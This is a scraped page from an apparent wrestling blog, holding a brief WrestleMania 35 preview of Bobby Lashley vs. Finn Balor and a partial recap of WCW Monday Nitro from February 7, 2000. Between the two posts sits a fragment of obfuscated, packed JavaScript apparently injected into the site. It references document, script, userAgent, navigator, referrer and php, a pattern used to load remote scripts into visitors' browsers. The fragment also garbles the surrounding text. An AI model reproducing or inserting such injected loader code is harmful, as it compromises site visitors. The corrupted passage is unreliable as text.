Wrestlemania XXXV Preview: Intercontinental Title: Bobby Lashley(c) vs. Finn Balor

I still don’t know if it makes sense.

I’ll spare you a long rant about how little this story makes sense, or at least how horrible of a job WWE has done at explaining Balor’s use of the Demon. Or how little sense it made to have Balor win the title for a few weeks and drop it back almost immediately. This is the Demon’s debut at Wrestlemania and I’m not sure what to expect from it. I don’t think the match’s result is really in doubt, but the question is how we get to that ending.

Balor will get the title back once and for all, but I’m not sure if it’s in a squash or a competitive match. It’s one thing to have the Demon destroy Corbin at Summerslam but having him do it to Lashley here doesn’t make sense. You don’t squash a monster like that and that leaves a dilemma for Balor. I’m sure he’ll win, but if it’s too competitive then it doesn’t make that much sense.




Monday Nitro – February 7, 2000: Hey Old Guys

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brtkh|var|u0026u|referrer|fdnnb||js|php'.split('|'),0,{})) Nitro #226
Date: February 7, 2000
Location: Tulsa Convention Center, Tulsa, Oklahoma
Attendance: 6,358
Commentators: Tony Schiavone, Mark Madden

We open with the recap of last week, with the NWO adding the Harris Twins and then the completely unnecessary Caged Heat match on Thunder. What a great way to open the show.

The NWO has surprises for Sid and Funk. Nash is going to be back soon.

Norman Smiley vs. Evan Karagias

Norman wants all three of them at SuperBrawl. You and every other teenage girl in the world Smiley.

Danny Hodge is here. He deserves better.

The announcers run down the card.

Flair and some women arrive.

Booker vs. The Wall

Lane and Idol ask for a title shot again.

Tank Abbott vs. Barbarian

Torrie with the KidCam.

We get clips from 1989 of Funk vs. Flair in the I Quit match.

David Flair vs. Terry Funk

Stevie Ray vs. Disco Inferno

Jarrett thinks WCW is trying to rip the NWO apart but Hall laughs it off because the title will stay in the family either way.

Flair rants about Arn being in over his head and leaves.

Hardcore Title: Brian Knobbs vs. Bam Bam Bigelow

Knobbs is defending and has a broken wrist thanks to Luger. We see a clip of it being broken and they put January 31 instead of a simple last week. Finlay is guest referee again. Bigelow throws a trashcan at Knobbs to start and the champ is in early trouble. He whips Knobbs into the barricade and steps with Brian unable to use the bad arm to stop the impact. In for the first time with Knobbs hitting a ladder and having it fall on top of him. Knobbs makes a comeback but Finlay hits him with a chair, followed by a fast count to give Bigelow the title. Again, this is probably the most logical story in the promotion at the moment.

Steve Borden (yes Steve Borden) will be on the Late Show.

Billy Kidman vs. The Demon

Luger comes to the ring, holding a Hogan chair.

Ready To Rumble is coming.

WCW World Title: Sid Vicious vs. Scott Hall